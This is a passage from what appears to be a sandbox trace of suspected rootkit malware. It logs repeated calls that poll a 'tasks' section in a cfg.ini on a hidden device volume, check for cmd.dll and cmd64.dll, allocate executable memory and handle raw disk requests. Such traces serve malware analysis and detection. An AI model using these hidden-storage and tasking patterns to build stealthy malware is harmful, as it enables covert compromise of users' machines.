[0124.514] IdePortDispatch () returned 0x103 [0124.514] KeWaitForMutexObject () returned 0x0 [0124.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.514] KeLeaveCriticalRegion () [0124.514] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.514] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.514] KeEnterCriticalRegion () [0124.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.514] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.514] KeLeaveCriticalRegion () [0124.514] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.514] KeEnterCriticalRegion () [0124.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.514] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.514] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.514] KeLeaveCriticalRegion () [0124.514] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.515] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.515] KeEnterCriticalRegion () [0124.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.515] ExFreePoolWithTag (P=0xfffffa8003bf1190, Tag=0x0) [0124.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.515] KeLeaveCriticalRegion () [0124.515] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.515] ReleaseMutex (hMutex=0xf0) returned 1 [0124.515] Sleep (dwMilliseconds=0x927c0) [0124.529] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.529] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.530] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.530] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.530] KeEnterCriticalRegion () [0124.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.530] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.530] IdePortDispatch () returned 0x103 [0124.530] KeWaitForMutexObject () returned 0x0 [0124.530] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.530] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.530] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.530] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.530] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.530] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf12e0 [0124.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.530] KeLeaveCriticalRegion () [0124.530] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.530] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.530] KeEnterCriticalRegion () [0124.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.530] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.530] KeLeaveCriticalRegion () [0124.530] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.530] KeEnterCriticalRegion () [0124.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.530] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.530] IdePortDispatch () returned 0x103 [0124.531] KeWaitForMutexObject () returned 0x0 [0124.531] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.531] KeLeaveCriticalRegion () [0124.531] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.531] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.531] KeEnterCriticalRegion () [0124.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.531] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003573000 [0124.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.531] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.531] IdePortDispatch () returned 0x103 [0124.531] KeWaitForMutexObject () returned 0x0 [0124.531] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.531] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.531] IdePortDispatch () returned 0x103 [0124.531] KeWaitForMutexObject () returned 0x0 [0124.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.531] KeLeaveCriticalRegion () [0124.531] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.532] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.532] KeEnterCriticalRegion () [0124.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.532] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.532] KeLeaveCriticalRegion () [0124.532] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.532] KeEnterCriticalRegion () [0124.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.532] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.532] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.532] KeLeaveCriticalRegion () [0124.532] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.532] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.532] KeEnterCriticalRegion () [0124.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.532] ExFreePoolWithTag (P=0xfffffa8003bf12e0, Tag=0x0) [0124.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.532] KeLeaveCriticalRegion () [0124.532] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.532] ReleaseMutex (hMutex=0xf0) returned 1 [0124.532] Sleep (dwMilliseconds=0x927c0) [0124.546] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.546] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.546] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.546] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.546] KeEnterCriticalRegion () [0124.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.546] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.547] IdePortDispatch () returned 0x103 [0124.547] KeWaitForMutexObject () returned 0x0 [0124.547] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.547] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.547] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.547] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.547] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.547] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf11e0 [0124.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.547] KeLeaveCriticalRegion () [0124.547] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.547] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.547] KeEnterCriticalRegion () [0124.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.547] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.547] KeLeaveCriticalRegion () [0124.547] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.547] KeEnterCriticalRegion () [0124.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.547] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.547] IdePortDispatch () returned 0x103 [0124.548] KeWaitForMutexObject () returned 0x0 [0124.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.548] KeLeaveCriticalRegion () [0124.548] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.548] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.548] KeEnterCriticalRegion () [0124.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003578000 [0124.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.548] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.548] IdePortDispatch () returned 0x103 [0124.548] KeWaitForMutexObject () returned 0x0 [0124.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.548] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.548] IdePortDispatch () returned 0x103 [0124.548] KeWaitForMutexObject () returned 0x0 [0124.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.548] KeLeaveCriticalRegion () [0124.548] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.549] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.549] KeEnterCriticalRegion () [0124.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.549] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.549] KeLeaveCriticalRegion () [0124.549] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.549] KeEnterCriticalRegion () [0124.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.549] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.549] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.549] KeLeaveCriticalRegion () [0124.549] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.549] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.549] KeEnterCriticalRegion () [0124.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.549] ExFreePoolWithTag (P=0xfffffa8003bf11e0, Tag=0x0) [0124.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.549] KeLeaveCriticalRegion () [0124.549] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.549] ReleaseMutex (hMutex=0xf0) returned 1 [0124.549] Sleep (dwMilliseconds=0x927c0) [0124.564] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.564] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.564] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.564] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.564] KeEnterCriticalRegion () [0124.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.564] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.564] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.564] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.564] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.564] IdePortDispatch () returned 0x103 [0124.565] KeWaitForMutexObject () returned 0x0 [0124.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.565] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.565] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.565] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.565] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.565] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6fb0 [0124.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.565] KeLeaveCriticalRegion () [0124.565] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.565] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.565] KeEnterCriticalRegion () [0124.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.565] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.565] KeLeaveCriticalRegion () [0124.565] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.565] KeEnterCriticalRegion () [0124.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.565] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.565] IdePortDispatch () returned 0x103 [0124.565] KeWaitForMutexObject () returned 0x0 [0124.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.565] KeLeaveCriticalRegion () [0124.565] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.566] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.566] KeEnterCriticalRegion () [0124.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.566] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800357d000 [0124.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.566] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.566] IdePortDispatch () returned 0x103 [0124.566] KeWaitForMutexObject () returned 0x0 [0124.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.566] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.566] IdePortDispatch () returned 0x103 [0124.566] KeWaitForMutexObject () returned 0x0 [0124.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.566] KeLeaveCriticalRegion () [0124.566] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.567] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.567] KeEnterCriticalRegion () [0124.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.567] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.567] KeLeaveCriticalRegion () [0124.567] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.567] KeEnterCriticalRegion () [0124.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.567] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.567] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.567] KeLeaveCriticalRegion () [0124.567] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.567] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.567] KeEnterCriticalRegion () [0124.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.567] ExFreePoolWithTag (P=0xfffffa8003be6fb0, Tag=0x0) [0124.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.567] KeLeaveCriticalRegion () [0124.567] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.567] ReleaseMutex (hMutex=0xf0) returned 1 [0124.567] Sleep (dwMilliseconds=0x927c0) [0124.581] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, 